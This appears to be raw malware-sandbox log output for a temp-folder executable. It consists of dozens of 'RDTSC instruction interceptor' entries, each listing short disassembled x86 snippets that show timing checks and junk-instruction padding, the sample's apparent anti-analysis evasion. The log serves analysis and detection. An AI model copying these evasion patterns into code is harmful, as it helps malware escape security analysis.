Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: FF67FB second address: FF6825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F3460BFB978h 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e jne 00007F3460BFB980h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: FF6825 second address: FF682B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: FF917C second address: FF91AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov eax, dword ptr [eax] 0x00000008 jbe 00007F3460BFB97Eh 0x0000000e jmp 00007F3460BFB978h 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 pushad 0x00000018 push edi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: FF91AA second address: FF91B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: FF91B4 second address: FF921C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pop eax 0x00000007 or dword ptr [ebp+122D2AB4h], ecx 0x0000000d push 00000003h 0x0000000f sub dword ptr [ebp+122D2DFAh], esi 0x00000015 push 00000000h 0x00000017 jns 00007F3460BFB966h 0x0000001d push 00000003h 0x0000001f mov dword ptr [ebp+122D1995h], ecx 0x00000025 call 00007F3460BFB969h 0x0000002a jmp 00007F3460BFB979h 0x0000002f push eax 0x00000030 jg 00007F3460BFB96Ah 0x00000036 mov eax, dword ptr [esp+04h] 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F3460BFB970h 0x00000041 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: FF921C second address: FF9222 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: FF9222 second address: FF9226 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: FF9226 second address: FF926B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push ecx 0x0000000c jmp 00007F3460CF0800h 0x00000011 pop ecx 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a jmp 00007F3460CF0809h 0x0000001f jo 00007F3460CF07F6h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: FF9358 second address: FF93BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460BFB976h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F3460BFB971h 0x0000000e popad 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push ebx 0x00000014 jmp 00007F3460BFB973h 0x00000019 pop ebx 0x0000001a mov eax, dword ptr [eax] 0x0000001c jg 00007F3460BFB975h 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 push ebx 0x0000002a pop ebx 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: FF93BD second address: FF93CF instructions: 0x00000000 rdtsc 0x00000002 je 00007F3460CF07F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007F3460CF07F6h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: FF93CF second address: FF943D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3460BFB966h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pop eax 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F3460BFB968h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 jmp 00007F3460BFB978h 0x0000002b mov esi, edi 0x0000002d lea ebx, dword ptr [ebp+1244DF40h] 0x00000033 sub ecx, dword ptr [ebp+122D263Bh] 0x00000039 or esi, 68B06C6Fh 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F3460BFB96Fh 0x00000049 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: FF943D second address: FF9443 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: FF9443 second address: FF944D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F3460BFB966h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: FF953D second address: FF9541 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1019A88 second address: 1019AB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460BFB96Bh 0x00000007 pushad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jmp 00007F3460BFB96Fh 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 je 00007F3460BFB970h 0x0000001a pushad 0x0000001b push edx 0x0000001c pop edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: FE55A1 second address: FE55A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: FE55A5 second address: FE55A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: FE55A9 second address: FE55B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: FE55B5 second address: FE55BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: FE55BB second address: FE55BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1017D76 second address: 1017D7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1017D7C second address: 1017D9D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3460CF07F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jno 00007F3460CF07F6h 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 jmp 00007F3460CF07FBh 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1017F3F second address: 1017F43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10182AC second address: 10182C7 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3460CF07F6h 0x00000008 jc 00007F3460CF07F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jne 00007F3460CF07F6h 0x00000017 push edx 0x00000018 pop edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1018425 second address: 101844C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F3460BFB975h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007F3460BFB96Ah 0x00000013 push eax 0x00000014 pop eax 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10185CB second address: 10185EC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3460CF0809h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1018736 second address: 101873E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 101873E second address: 1018744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1018744 second address: 1018763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3460BFB978h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1018763 second address: 1018794 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F3460CF0808h 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d jmp 00007F3460CF0801h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1018BCF second address: 1018BD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F3460BFB966h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1018BD9 second address: 1018BDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1018BDD second address: 1018BE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10192FC second address: 1019300 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1019300 second address: 101931C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3460BFB971h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 101931C second address: 101933A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460CF07FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ja 00007F3460CF07FEh 0x0000000f pushad 0x00000010 popad 0x00000011 jo 00007F3460CF07F6h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10194DD second address: 1019531 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F3460BFB96Dh 0x00000008 pop edi 0x00000009 push edi 0x0000000a jmp 00007F3460BFB970h 0x0000000f jmp 00007F3460BFB973h 0x00000014 pop edi 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F3460BFB976h 0x0000001e push esi 0x0000001f pushad 0x00000020 popad 0x00000021 pop esi 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1019531 second address: 1019537 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1019537 second address: 1019541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F3460BFB966h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1019939 second address: 1019942 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1019942 second address: 1019948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 101CC0C second address: 101CC10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 101CC10 second address: 101CC2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3460BFB974h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 101CC2C second address: 101CC30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 101D293 second address: 101D29C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 101D29C second address: 101D2F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460CF0803h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push esi 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f pop eax 0x00000010 pop esi 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push edi 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 pop edx 0x0000001a pop edi 0x0000001b mov eax, dword ptr [eax] 0x0000001d jmp 00007F3460CF0808h 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 js 00007F3460CF0802h 0x0000002c jng 00007F3460CF07FCh 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: FEDAAC second address: FEDAB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: FEDAB2 second address: FEDAB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1024177 second address: 102417D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 102417D second address: 10241A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460CF0807h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10242ED second address: 10242F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F3460BFB966h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10242F9 second address: 1024335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007F3460CF080Ah 0x0000000b jnp 00007F3460CF081Dh 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F3460CF0805h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10245ED second address: 1024634 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F3460BFB966h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F3460BFB96Dh 0x00000013 jmp 00007F3460BFB975h 0x00000018 jmp 00007F3460BFB970h 0x0000001d ja 00007F3460BFB966h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1024A4A second address: 1024A4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1024A4F second address: 1024A55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1024A55 second address: 1024A5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1024A5B second address: 1024A5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1024C0D second address: 1024C35 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3460CF07F6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007F3460CF0809h 0x00000015 push eax 0x00000016 pop eax 0x00000017 jmp 00007F3460CF0801h 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1028CFA second address: 1028D0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460BFB96Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1028DF6 second address: 1028E22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F3460CF07FCh 0x0000000c jne 00007F3460CF07F6h 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 jmp 00007F3460CF07FEh 0x0000001c jnp 00007F3460CF07F6h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1028E22 second address: 1028E2C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3460BFB96Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1029B5E second address: 1029B69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F3460CF07F6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1029B69 second address: 1029B9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460BFB96Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c call 00007F3460BFB96Eh 0x00000011 mov esi, dword ptr [ebp+122D345Dh] 0x00000017 pop esi 0x00000018 xchg eax, ebx 0x00000019 push ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c push edi 0x0000001d pop edi 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1029B9A second address: 1029B9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 102C18B second address: 102C190 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 102C190 second address: 102C1BB instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3460CF07F8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jp 00007F3460CF080Ch 0x00000015 jmp 00007F3460CF0806h 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 102E69F second address: 102E729 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 jbe 00007F3460BFB970h 0x0000000d pushad 0x0000000e jno 00007F3460BFB966h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 nop 0x00000018 push 00000000h 0x0000001a push ecx 0x0000001b call 00007F3460BFB968h 0x00000020 pop ecx 0x00000021 mov dword ptr [esp+04h], ecx 0x00000025 add dword ptr [esp+04h], 00000016h 0x0000002d inc ecx 0x0000002e push ecx 0x0000002f ret 0x00000030 pop ecx 0x00000031 ret 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007F3460BFB968h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 00000014h 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e mov edi, dword ptr [ebp+122D3504h] 0x00000054 mov esi, dword ptr [ebp+122D3718h] 0x0000005a push 00000000h 0x0000005c jmp 00007F3460BFB979h 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007F3460BFB96Ch 0x00000069 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 102FD42 second address: 102FD47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 10338FF second address: 103392B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3460BFB968h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F3460BFB979h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1035E38 second address: 1035E57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3460CF0807h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1035E57 second address: 1035E71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460BFB96Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F3460BFB968h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 102CA2F second address: 102CA37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1035E71 second address: 1035E7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F3460BFB966h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 102D94B second address: 102D951 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1037DE9 second address: 1037DEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1037DEF second address: 1037DF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1037DF3 second address: 1037DF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1037E96 second address: 1037E9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	RDTSC instruction interceptor: First address: 1030544 second address: 1030561 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3460BFB979h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
